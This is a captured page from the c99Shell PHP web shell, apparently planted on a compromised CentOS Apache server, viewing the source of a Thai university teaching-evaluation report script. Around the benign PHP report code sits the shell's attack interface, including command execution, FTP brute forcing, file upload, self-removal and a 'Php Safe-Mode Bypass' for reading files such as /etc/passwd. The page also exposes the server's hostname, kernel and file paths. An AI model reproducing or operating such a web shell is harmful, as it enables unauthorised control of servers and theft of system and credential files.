!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reportDataRQCourseTep4_2_excel.php (17.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
set_time_limit
(0);
header('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing1.xls"');
include_once 
"../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassOpenForAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessment.php";
include_once 
"../class/clsResultRQ.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsHeaderQuestion.php";
include_once 
"../class/clsHeaderScore.php";
include_once 
"../class/clsDetailScore.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oReg = new Registration($oCA);
$oCourse = new CourseAssess($oCA);
$oClass = new ClassAssess($oCA);
$oClass_In = new ClassAssess($oCA);
$oClsOpen = new ClassOpenForAssess($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oCIS_1 = new ClassInStructorAssess($oCA);
$oCIS_2 = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oHC = new HoldCourse($oCA);
$oAF = new AssessForm($oCA);
$oDo = new DoAssessment($oCA);

$oCourse->SearchByKey($courseId);
$oCourse->GetRecord();
$oClass->SearchByKey($classId);
$oClass->GetRecord();        

$oProg = new Program($oCR);

$oAF->RSAssessFormByAssid($assid);
$oAF->GetRecord();

$oHQ = new HeaderQuestion($oCA);
$oHS = new HeaderScore($oCA);
$oDS = new DetailScore($oCA);
$full $oDS->getMaxScoreByAssid($assid);

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

$oDA = new DefineAssessment($oCA);
$oDA->SearchByDefineid($defineid);
$oDA->GetRecord();

//ค้นหาคำถามปลายเปิดในแบบประเมินนี้ sectionTQid = 1
$oSA = new SectionAll($oCA);
$CntSRQid $oSA->RSCountSectionRQid($assid);

$oRRQ = new ResultRQ($oCA);
?>
<title>รายงานผลการประเิมินประสิทธิภาพการสอนของอาจารย์ภาพรวมในรายวิชาจำแนกตามอาจารย์ผู้สอน</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<div id="tabmargin">
       <form name="pc" method="post" action="<?php echo $PHP_SELF;?>" enctype="multipart/form-data">
          <div align="center">
          </div><br>
              <table width="95%" align="center" border="0" cellpadding="0" cellspacing="1">
                  <tr> 
                    
              <td><table width="972" border="0">
                  <tr> 
                    <td colspan="26">&nbsp;</td>
                  </tr>
                  <tr> 
                    <td colspan="26"><font size="2"><b>รายงานผลการประเมินประสิทธิภาพการสอนของอาจารย์ภาพรวมในรายวิชาจำแนกตามอาจารย์ผู้สอน</b></font></td>
                  </tr>
                  <tr> 
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td width="876" colspan="26"><font size="2"><b> &nbsp;ชื่อแบบประเมิน 
                      </b></font><font size="2"><b>: </b></font><font size="2"> 
                      <? if($oAF->maintopic == ""){ echo "-"; }else{ echo $oAF->maintopic; } ?>
                      </font></td>
                  </tr>
                  <tr> 
                    <td height="21" colspan="26"><font size="2"><b> &nbsp;ปีการศึกษา 
                      </b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: 
                      </b></font><? echo $acadYear ?> / <? echo $oSse->semesterName;?></td>
                  </tr>
                  <tr  bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td height="20" colspan="26" <? if(($oClass->programId == 0) || ($oClass->programId == "")){ echo "valign=\"baseline\""; } ?>><font size="2"><b> 
                      &nbsp;หลักสูตร</b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: 
                      </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      <? if(($oClass->programId == 0) || ($oClass->programId == "")){
                            
$z 0;
                            
$oClsOpen->SearchByClassId($oClass->classId);
                            while(
$oClsOpen->GetRecord()){
                                
$oProg->SearchByKey($oClsOpen->programId);
                                
$oProg->GetRecord();
                                
$arrCls[$z] = $oProg->programName;
                                
$z++;
                            } 
// end while oClsOpen
                            
for($a=0;$a<=$z;$a++){
                                echo 
$arrCls[$a];
                                if(
$a $z-1) echo ",<br> &nbsp;&nbsp;&nbsp;";
                            }
                        }else{
                            
$oProg->SearchByKey($oClass->programId);
                            
$oProg->GetRecord();
                            echo 
$oProg->programName;
                        }
                
?>
                      </font></td>
                  </tr>
                  <tr> 
                    <td colspan="26"><font size="2"><b> &nbsp;รหัสรายวิชา</b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: 
                      </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseCode?> 
                      (<?php echo $oCourse->courseCodeEng?>)</font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>"> 
                    <td height="22" colspan="26"><font size="2"><b> &nbsp;ชื่อรายวิชา</b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: 
                      </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCourse->courseName?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      (<?php echo $oCourse->courseNameEng?>)</font></td>
                  </tr>
                  <tr> 
                    <td height="22" colspan="26"><font size="2"><b> &nbsp;ช่วงเวลาประเมิน</b></font><font size="2"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: 
                      </b></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo abbreDate(splitDateDb2($oDA->startDate,'/')); ?> 
                      - <? echo abbreDate(splitDateDb2($oDA->endDate,'/'));  ?></font></td>
                  </tr>
                </table>
                <br>
          <?
        $oSA
= new SectionAll($oCA);
        
$scoreV1 4$scoreV2 5//ค่าที่จะนำไปคิด
        
$sectionDisplat 0;
        
$oSA->RSByKeyAss($assid);
        while(
$oSA->GetRecord()){
        
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
            
if($oSA->sectionRQid != '0'){     
                
$oHQ->RSHeaderAllBySection($assid,$oSA->sectionRQid);
                
$oHQ->GetRecord();                
                
$oHS->RSHeadSAll($oHQ->HSid);
                
$oHS->GetRecord();
                
$numScoreVal $oDS->CountDetailSAllBetween2ValueOrderScoreDESC($oHS->HSid,$scoreV1,$scoreV2);
                if(
$numScoreVal 0){  //กรณีกำหนดระดับการประเมินมีค่่าเท่ากับ  scoreV1 และ/หรือ scoreV2  เท่านั้นที่จะแสดง
                    
$sectionDisplay++;
                }
            }
        } 

if(
$CntSRQid && $sectionDisplay 0){ 
        
?>
          <table width="100%" border="1" align="center" cellpadding="1" cellspacing="1">
                  <tr > 
                    <td width="28%" rowspan="3" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>อาจารย์ผู้สอน</b></font></td>              <? 
        $oSA
= new SectionAll($oCA);
        
$i 0//$scoreV1 = 4; $scoreV2 = 5; //ค่าที่จะนำไปคิด
        
$indexSection_head 1;
        
$oSA->RSByKeyAss($assid);
        while(
$oSA->GetRecord()){
        
/*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
            
if($oSA->sectionRQid != '0'){     
                
$oHQ->RSHeaderAllBySection($assid,$oSA->sectionRQid);
                
$oHQ->GetRecord();                
                
$oHS->RSHeadSAll($oHQ->HSid);
                
$oHS->GetRecord();
                
//echo "<br> HSid = ".$oHS->HSid;
                
$numScoreVal $oDS->CountDetailSAllBetween2ValueOrderScoreDESC($oHS->HSid,$scoreV1,$scoreV2);
                
//echo "<br> ด้าน $indexSection_head ".$numScoreVal;
                
if($numScoreVal 0){  //กรณีกำหนดระดับการประเมินมีค่่าเท่ากับ  scoreV1 และ/หรือ scoreV2  เท่านั้นที่จะแสดง
                
?>
                  <td height="23" colspan="5" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>ส่วนที่ <? echo $indexSection_head?></b></font></td>
          <?     $i++;
                } 
//end numScoreVal
            
// end if oSA
            
$indexSection_head++;
        } 
//end while oSA 
        
$show $i;
        if(
$i 1) {
            
$show $i+1;
        
?>
            <td height="23" colspan="5" align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>"><font size="2"><b>รวม</b></font></td>
         </tr>
        <?  ?>
           <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
          <? for($j=1;$j<=$show;$j++){ ?>
                 <td height="7%" colspan="2" align="center"><font size="2"><b>ระดับดีขึ้นไป</b></font></td>
                <td height="7%" colspan="2" align="center"><font size="2"><b>ค่าสถิติ</b></font></td>
                <td width="3%" height="23" rowspan="2" align="center"><font size="2"><b>แปลผล</b></font></td>
          <? ?>
           </tr>
           <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
       <? for($j=1;$j<=$show;$j++){ ?>
             <td width="3%" height="27" align="center">จำนวน</td>
             <td width="3%" height="27" align="center">% </td>
             <td width="3%" height="27" align="center">ค่าเฉลี่ย</td>
             <td width="3%" height="27" align="center">S.D.</td>
       <? ?>
          </tr>
        <?php
            $classId 
'%';
            
$oCIS->RSByAcYSePgIdCoId($acadYear,$semester,$programId,$courseId);
            while(
$oCIS->GetRecord()) {
                    
$oOFA->SearchByKey($oCIS->officerId);
                    
$oOFA->GetRecord();        
            
?><tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_11"];?>">
                <td><? echo "&nbsp; อ.".$oOFA->officerName." ".$oOFA->officerSurname?></td><?
                    $oSA 
= new SectionAll($oCA);
                    
$oSA->RSByKeyAss($assid);
                    while(
$oSA->GetRecord()){
                        if(
$oSA->sectionRQid != '0'){
                        
$oRRQ->Search54ByAcadSemDefineidCourseIdOfficerIdClassIdSectionRQid($acadYear,$semester,$defineid,$oOFA->officerId,$courseId,$classId,$oSA->sectionRQid);
                        
$oRRQ->GetRecord();
                            
$num $oRRQ->num;
                            
$per $oRRQ->per;
                            
$numSum += $num;
                            
$perSum += $per
                        
?>
                    <td align="center"><? echo $num?></td>
                    <td align="center"><? printf("%.2f",$per); ?></td>        
                        <?        
                        $oRRQ
->SearchResultIXbarSDByAcadSemDefineidOfficerIdClassIdSectionRQidCo($full,$acadYear,$semester,$defineid,$oOFA->officerId,$classId,$oSA->sectionRQid,$courseId);
                        
$oRRQ->GetRecord();
                                
$xbar $oRRQ->xbar;
                                
$sd $oRRQ->sd;
                                
$xbarSum += $xbar;
                                
$sdSum += $sd;
                        
?>
                    <td align="center"><? echo substr($xbar04);//printf("%.2f",$xbar); ?></td>
                    <td align="center"><? printf("%.2f",$sd); ?></td>    
                    <td align="center"><? if($xbar >= 3.5) echo "ผ่าน"; else if($xbar && $xbar 3.5) echo "ไม่ผ่าน"; else  echo "-"?></td>                    
                        <?
                        
// if != 0
                    
// while
                    
if($i 1){
                    
?><td align="center"><? echo $numSum?></td>
                        <td align="center"><? printf("%.2f",$perSum/$i); ?></td>    
                    <td align="center"><? echo substr($xbarSum/$i04); ?></td>
                    <td align="center"><? printf("%.2f",$sdSum/$i); ?></td>    
                    <td align="center"><? if($xbarSum/$i >= 3.5) echo "ผ่าน"; else if($xbarSum/$i && $xbarSum/$i 3.5) echo "ไม่ผ่าน"; else  echo "-"?></td>
                <? ?></tr><?
                    $numSum 
0;
                    
$perSum 0
                    
$xbarSum 0;
                    
$sdSum 0;
            }
        
?>
        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_11"];?>">
                <td align="center">รวม</td><?
                    $oSA 
= new SectionAll($oCA);
                    
$oSA->RSByKeyAss($assid);
                    while(
$oSA->GetRecord()){
                        if(
$oSA->sectionRQid != '0'){
                        
$oRRQ->Search54ByAcadSemDefineidCourseIdOfficerIdClassIdSectionRQid($acadYear,$semester,$defineid,'%',$courseId,$classId,$oSA->sectionRQid);
                        
$oRRQ->GetRecord();
                            
$num $oRRQ->num;
                            
$per $oRRQ->per;
                            
$numSum += $num;
                            
$perSum += $per
                        
?>
                    <td align="center"><? echo $num?></td>
                    <td align="center"><? printf("%.2f",$per); ?></td>        
                        <?        
                        $oRRQ
->SearchResultIXbarSDByAcadSemDefineidOfficerIdClassIdSectionRQidCo($full,$acadYear,$semester,$defineid,'%',$classId,$oSA->sectionRQid,$courseId);
                        
$oRRQ->GetRecord();
                                
$xbar $oRRQ->xbar;
                                
$sd $oRRQ->sd;
                                
$xbarSum += $xbar;
                                
$sdSum += $sd;
                        
?>
                    <td align="center"><? echo substr($xbar,0,4);//printf("%.2f",$xbar); ?></td>
                    <td align="center"><? printf("%.2f",$sd); ?></td>    
                    <td align="center"><? if($xbar >= 3.5) echo "ผ่าน"; else if($xbar && $xbar 3.5) echo "ไม่ผ่าน"; else  echo "-"?></td>                    
                        <?
                        
// if != 0
                    
// while
                    
if($i 1){
                    
?><td align="center"><? echo $numSum?></td>
                        <td align="center"><? printf("%.2f",$perSum/$i); ?></td>    
                    <td align="center"><? echo substr($xbarSum/$i,0,4);//printf("%.2f",$xbarSum/$i); ?></td>
                    <td align="center"><? printf("%.2f",$sdSum/$i); ?></td>    
                    <td align="center"><? if($xbarSum/$i >= 3.5) echo "ผ่าน"; elseif($xbarSum/$i && $xbarSum/$i 3.5) echo "ไม่ผ่าน"; else  echo "-"?></td>
                <? ?></tr>
           </table>
                <br>
          <table width="100%" border="0" align="center">
            <tr> 
              <td colspan="26"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"><b>หมายเหตุ 
                :</b></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"> 
                &nbsp;การแปลผล (ผ่านและไม่ผ่าน ) คิดจากค่าเฉลี่ยตั้งแต่ 3.5 ขึ้นไป 
                ถือว่าผ่าน (ค่าเฉลี่ย &gt;= 3.5)</font></td>
            </tr>
            <tr> 
              <td colspan="26"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"> 
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;รายงานนี้จะแสดงในส่วนของแบบประเมินที่มีเกณฑ์ที่ในการพิจารณาที่มีค่าเป็น 
                <? echo $scoreV1." และ ".$scoreV2?></font></td>
            </tr>
            <tr> 
              <td width="11%">&nbsp;</td>
              <td width="11%">&nbsp;</td>
              <td width="7%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="3%">&nbsp;</td>
              <td width="5%">&nbsp;</td>
            </tr>
          </table>
          <? } else{ ?>
    <table width="100%">
        <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_5'];?>">     
                    
              <td align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                <?    if($CntSRQid == 0) echo"ไม่สามารถแสดงรายงานได้ เนื่องจากเนื่องจากแบบประเมินที่สร้างไม่มีส่วนของคำถามปลายปิด"; else if($sectionDisplay == 0) echo " ไม่สามารถแสดงรายงานได้ เนื่องจากแต่ละส่วนของแบบประเมินไม่ได้กำหนดเกณฑ์ที่ใช้ในการพิจารณาที่มีค่าเป็น"$scoreV1." และ ".$scoreV2?>
                **</font></td>
         </tr>
    </table>
    <? // end if sectionDisplay > 0?>
                <br>
                    </td>
                  </tr>
                </table>
          </form><br>
</div>
        </body>
<?php set_time_limit(30); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0182 ]--